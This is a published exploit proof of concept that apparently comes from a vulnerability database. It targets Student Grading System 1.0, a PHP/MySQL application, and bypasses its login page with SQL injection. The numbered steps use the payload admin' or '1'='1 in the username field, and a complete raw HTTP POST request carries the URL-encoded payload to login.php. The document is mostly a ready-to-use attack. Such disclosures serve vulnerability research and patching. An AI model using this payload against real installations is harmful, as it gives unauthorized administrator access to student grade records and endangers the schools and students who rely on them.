# Exploit Title: Student Grading System 1.0 - SQLi Authentication Bypass
# Date: 08.09.2022
# Exploit Author: Emre Ayduslu
# Vendor Homepage: https://www.sourcecodester.com/php/14522/student-grading-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14522&title=Student+Grading+System+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 11, Kali Linux
# Student Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.
Steps To Reproduce:
1 - Go to the login page http://localhost/grading/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.
PoC
POST /grading/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://localhost
Connection: close
Referer: http://localhost/grading/login.php
Cookie: PHPSESSID=90cd9gkhqrckscvar8f83iv5os
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
user=admin%27+or+%271%27%3D%271&pwd=emreayduslu